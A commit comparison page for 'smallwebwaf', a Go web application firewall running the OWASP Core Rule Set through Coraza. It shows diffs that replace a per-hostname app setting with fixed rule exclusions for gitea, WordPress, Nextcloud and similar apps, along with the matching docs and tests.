Compare commits

Author SHA1 Message Date
sneak 50c3f61d39 Settings code: one file per daemon (closes #227)
check / check (push) Waiting to run
internal/config now keeps waf's settings in waf.go and rproxy's in
rproxy.go. config.go keeps what both read: the package doc,
SWW_COMMAND, the environment reader, listen addresses, sizes and
netblock lists. The app URL reader and the default trusted proxies,
which only rproxy uses, move to rproxy.go. config_test.go becomes
waf_test.go, beside rproxy_test.go. Code is moved, not changed.

Model: opus-5-5
2026-11-11 14:30:52 +00:00
clawbot 883969a9cd Core Rule Set: ls -la passes in q on a gitea user's or organisation's page (closes #349)
check / check (push) Waiting to run
On a path of one segment made of the characters a user's or an
organisation's name may hold, q now skips 932250 too, unless the path
ends in a server-side script's extension, such as .php or .cgi. The
searches on a user's and an organisation's page are recorded from gitea
1.27.3 and Forgejo 17.0.1.

Model: opus-5-5
2026-11-11 14:13:33 +01:00
28 changed files with 3358 additions and 4046 deletions

No files matched your search

+24 -28
View File
@@ -278,7 +278,6 @@ Every setting the code reads, with its default:
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
@@ -582,30 +581,30 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the front of a code forge, bodies carry what people write and publish, which the
rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary - `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
requests to a code forge through, such as git over HTTP and sign-in through requests get through to the apps listed below. No setting undoes the changes;
Git Credential Manager. No setting undoes the changes; "Attack detection" in "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
[`SPEC.md`](SPEC.md) lists them. - These apps work out of the box at the default settings, and their recorded
- Each supported app also has its own fixes, which let its ordinary requests ordinary requests pass the Core Rule Set:
through. Its recorded ordinary requests pass the Core Rule Set at the default - gitea: git over HTTP and sign-in through Git Credential Manager get
settings. The supported apps, by their names in `SWW_APPS`, are: through. On gitea's own paths, its searches, file names and branch names
- `gitea`, whose fixes let its container registry, searches, file names and do too.
branch names through; - Forgejo: git over HTTP and its container and package registries get
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own through. On Forgejo's own paths, its searches, file names and branch names
fixes let its wiki search and its admin page's search through; do too.
- `wordpress`, whose fixes let through its searches, its names, its file - WordPress: saving a post from the block editor gets through. On
names and a post saved from the block editor; WordPress's own paths, its searches, names and file names do too.
- `drupal`, whose fixes let through the page to return to, its searches and - Drupal: on Drupal's own paths, the page to return to, its searches and its
its names; names get through.
- `mediawiki`, whose fixes let through its searches, its page titles, its - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
names and its wikitext; wikitext get through.
- `mastodon`, whose fixes let through its searches, its names, its email - Mastodon: on Mastodon's own paths, its searches, names, email addresses,
addresses, its posts and deliveries from other servers; posts and deliveries from other servers get through.
- `vaultwarden`, whose fixes let through its names, its password hints, its - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
email addresses and its encrypted file names; addresses and encrypted file names get through.
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods, - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
its searches, its file names, its account names, its comments and its WebDAV methods, searches, file names, account names, comments and
documents. documents do too.
- A random password, as a password manager makes one, gets through these forms: - A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on - signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea; WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
@@ -613,9 +612,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- deleting the account, on gitea; - deleting the account, on gitea;
- the admin page, on Vaultwarden, whose apps send a hash of the master - the admin page, on Vaultwarden, whose apps send a hash of the master
password, not the password itself. password, not the password itself.
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
fixes apply to every hostname.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths. fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
+724 -743
View File
File diff suppressed because it is too large. Load diff
-26
View File
@@ -256,32 +256,6 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads, a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form. yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `forgejo`, which gets gitea's fixes too;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get - `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`). `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
+4 -2415
View File
File diff suppressed because it is too large. Load diff
+47
View File
@@ -48,7 +48,17 @@ type RProxy struct {
settings []slog.Attr settings []slog.Attr
} }
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
const defaultUpstreamURL = "http://127.0.0.1:8081"
// privateRanges are the private address ranges, the default trusted
// proxies.
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
var ( var (
errNotUpstreamURL = errors.New(
"is not a URL with only a scheme, a host and an optional port, " +
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New( errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080") "is required: it is waf's URL, such as http://waf:8080")
errNotDisposition = errors.New("is not allow or deny") errNotDisposition = errors.New("is not allow or deny")
@@ -124,6 +134,14 @@ func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...) return slog.GroupValue(c.settings...)
} }
// appURL reads a setting that is the app's URL.
func (e *environment) appURL(name, defaultValue string) *url.URL {
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
e.check(name, err)
return upstream
}
// wafBackend reads the setting that is waf's URL, which must be set. // wafBackend reads the setting that is waf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL { func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "") value := e.value(name, "")
@@ -190,3 +208,32 @@ func parseMilliseconds(value string) (time.Duration, bool) {
return time.Duration(n) * time.Millisecond, true return time.Duration(n) * time.Millisecond, true
} }
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
func parseUpstreamURL(value string) (*url.URL, error) {
upstream, err := url.Parse(value)
if err != nil {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" && upstream.User == nil &&
upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" &&
upstream.Fragment == ""
if !onlySchemeAndHost {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
if upstream.Port() != "" {
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
if err != nil || port == 0 {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
}
return upstream, nil
}
File diff suppressed because it is too large. Load diff
@@ -90,7 +90,6 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT" wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE" exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS" trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD" errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL" logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -587,101 +586,6 @@ func TestCoreRuleSetSettings(t *testing.T) {
} }
} }
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,jellyfin",
`"jellyfin" is not an app sww has fixes for; ` +
`the apps are drupal, forgejo, gitea, mastodon, mediawiki, ` +
`nextcloud, vaultwarden, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) { func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel() t.Parallel()
@@ -2691,7 +2595,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "", wafExemptPaths: "",
wafBodyLimit: off, wafBodyLimit: off,
exclusionsFile: "", exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "", trapPaths: "",
errorBurstThreshold: "30", errorBurstThreshold: "30",
logRemoteURL: "", logRemoteURL: "",
+141 -148
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the // Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its // method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww // body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in // makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings" // "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// in SPEC.md describes them. It reads no response. // response.
// //
// sww writes only to its state directory, so Coraza is built with // sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a // its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,8 +16,6 @@ import (
"errors" "errors"
"fmt" "fmt"
"io" "io"
"maps"
"net"
"net/http" "net/http"
"net/netip" "net/netip"
"os" "os"
@@ -34,8 +32,11 @@ import (
// directives are the Core Rule Set as sww runs it, with the // directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while // paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the // SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// directives of every app in apps for the third. // giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
// Each rule sww adds has an id from 900000 to 900999, the ids the // Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which // Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no // SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -83,24 +84,70 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too. # before the rules of phase 1 too.
%s %s
# The apps' fixes come before the rules for the same reason. # The eighth change comes before the rules for the same reason.
%s %s
# The fifth: only the rules for requests are loaded, and no response is # The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# So does the fourteenth.
%s
# And the fifteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected. # inspected.
Include @owasp_crs/REQUEST-*.conf Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or # The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case. # localhost. Coraza matches a parameter name here, and in the fourth,
# ARGS holds the fields of a form data or multipart body Coraza reads as # without regard to case. ARGS holds the fields of a form data or multipart
# well as the query parameters, so a field of this name is left out too. # body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri" SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri" SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments # The fourth: the query parameters in which gitea sends names within a
# or for Java starting a process. # repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer" SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
` `
// bodyDirectives have the Core Rule Set read the part of a request body // bodyDirectives have the Core Rule Set read the part of a request body
@@ -145,73 +192,69 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'" severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
` `
// app is an app whose ordinary requests the Core Rule Set would refuse, // giteaExclusions are the eighth change: the fields of gitea's own
// with the fixes that let them pass. // requests that skip the rules that refused them there, as Coraza
type app struct { // directives.
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
// forkOf names the app this one is a fork of, "" for none. A hostname
// that lists this app gets that app's fixes too.
forkOf string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
//go:embed mastodon.conf
var mastodonDirectives string
//go:embed vaultwarden.conf
var vaultwardenDirectives string
//go:embed nextcloud.conf
var nextcloudDirectives string
//go:embed forgejo.conf
var forgejoDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
// flash is Forgejo's name for gitea_flash.
// //
//nolint:gochecknoglobals // a constant cannot be a map //go:embed gitea.conf
var apps = map[string]app{ var giteaExclusions string
"drupal": {directives: drupalDirectives},
"forgejo": {
directives: forgejoDirectives,
cookies: []string{"flash"},
forkOf: "gitea",
},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in // wordpressExclusions are the ninth change: the fields of WordPress's own
// alphabetical order. // requests that skip the rules that refused them there, as Coraza
func AppNames() []string { // directives.
return slices.Sorted(maps.Keys(apps)) //
} //go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
// requests that skip the rules that refused them there, where Forgejo differs
// from gitea, as Coraza directives.
//
//go:embed forgejo.conf
var forgejoExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change. flash is Forgejo's name for
// gitea_flash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
@@ -227,11 +270,6 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while // Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none. // there is none.
ExclusionsFile string ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets only the fixes of its hostname's
// apps and of the apps they are forks of, or of every app while Apps is
// nil.
Apps map[string][]string
} }
// The ids of sww's own rules, which an exclusions file may not // The ids of sww's own rules, which an exclusions file may not
@@ -323,15 +361,13 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct { type CoreRuleSet struct {
engine coraza.WAF engine coraza.WAF
bodyLimit int64 bodyLimit int64
apps map[string][]string
} }
// New returns the Core Rule Set with the five changes and the apps' fixes, // New returns the Core Rule Set with the fifteen changes, at params'
// at params' paranoia level, without the rules it switches off, reading // paranoia level, without the rules it switches off, reading request
// request bodies up to params' limit, and with params' exclusions file // bodies up to params' limit, and with params' exclusions file loaded
// loaded before the Core Rule Set's rules. An exclusions file is an error // before the Core Rule Set's rules. An exclusions file is an error if it
// if it cannot be read or does not parse, or if checkExclusions refuses // cannot be read or does not parse, or if checkExclusions refuses it.
// it.
func New(params Params) (*CoreRuleSet, error) { func New(params Params) (*CoreRuleSet, error) {
body := "" body := ""
if params.BodyLimit > 0 { if params.BodyLimit > 0 {
@@ -354,13 +390,10 @@ func New(params Params) (*CoreRuleSet, error) {
} }
} }
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions, text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String()) giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions, forgejoExclusions)
if len(params.DisabledRules) > 0 { if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules)) ids := make([]string, len(params.DisabledRules))
@@ -378,9 +411,7 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err) return nil, fmt.Errorf("load the Core Rule Set: %w", err)
} }
return &CoreRuleSet{ return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
} }
// Result is what the Core Rule Set found in a request. // Result is what the Core Rule Set found in a request.
@@ -392,12 +423,11 @@ type Result struct {
Score int Score int
} }
// Inspect runs the Core Rule Set on r, a request from client, with the // Inspect runs the Core Rule Set on r, a request from client: on its
// fixes of the apps appsFor names for r's hostname: on its method, its URL // method, its URL with the query, and its headers, the Cookie header
// with the query, and its headers, the Cookie header without those apps' // without the cookies in cookiesNotRead, and on body, r's body as the
// cookies, and on body, r's body as the caller has it, as readBody reads // caller has it, as readBody reads it. It returns what it found, what it
// it. It returns what it found, what it read of body, and the error that // read of body, and the error that ended the reading early, if one did.
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect( func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader, r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) { ) (Result, []byte, error) {
@@ -405,24 +435,13 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none. // Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }() defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0) tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto) tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header { for name, values := range r.Header {
for _, value := range values { for _, value := range values {
if name == "Cookie" { if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead) value = withoutCookiesNotRead(value)
if value == "" { if value == "" {
continue // it held those cookies alone continue // it held those cookies alone
} }
@@ -515,35 +534,9 @@ func score(tx types.Transaction) int {
return n return n
} }
// appsFor returns the names of the apps whose fixes a request for host, // withoutCookiesNotRead returns value, a Cookie header's, without the
// its Host header, gets: every app while SWW_APPS is unset, and otherwise // cookies in cookiesNotRead.
// those SWW_APPS lists for host's name, without the port and in func withoutCookiesNotRead(value string) string {
// lowercase, each followed by the app it is a fork of, if any.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
var names []string
for _, name := range c.apps[strings.ToLower(hostname)] {
names = append(names, name)
if apps[name].forkOf != "" {
names = append(names, apps[name].forkOf)
}
}
return names
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
var kept []string var kept []string
for cookie := range strings.SplitSeq(value, ";") { for cookie := range strings.SplitSeq(value, ";") {
+50 -134
View File
@@ -38,14 +38,12 @@ var loaded = struct {
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}} }{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params // loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for. %#v writes a nil // once, making it the first time params are asked for.
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) { func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock() loaded.Lock()
defer loaded.Unlock() defer loaded.Unlock()
settings := fmt.Sprintf("%#v", params) settings := fmt.Sprintf("%+v", params)
load, found := loaded.loaders[settings] load, found := loaded.loaders[settings]
if !found { if !found {
@@ -159,10 +157,9 @@ func inspectBody(
} }
for _, header := range r.headers { for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers, // Go's server keeps Host and Transfer-Encoding out of the headers.
// whatever their case.
name, value, _ := strings.Cut(header, ": ") name, value, _ := strings.Cut(header, ": ")
switch http.CanonicalHeaderKey(name) { switch name {
case "Host": case "Host":
req.Host = value req.Host = value
case "Transfer-Encoding": case "Transfer-Encoding":
@@ -207,8 +204,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
} }
// wantChange checks that crs lets through passes, a request one of the // wantChange checks that crs lets through passes, a request one of the
// five changes or an app's fixes are for, and still finds result in // fifteen changes is for, and still finds result in refused, a request like
// refused, a request like it that they are not for. // it that the change is not for.
func wantChange( func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request, t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result, result coreruleset.Result,
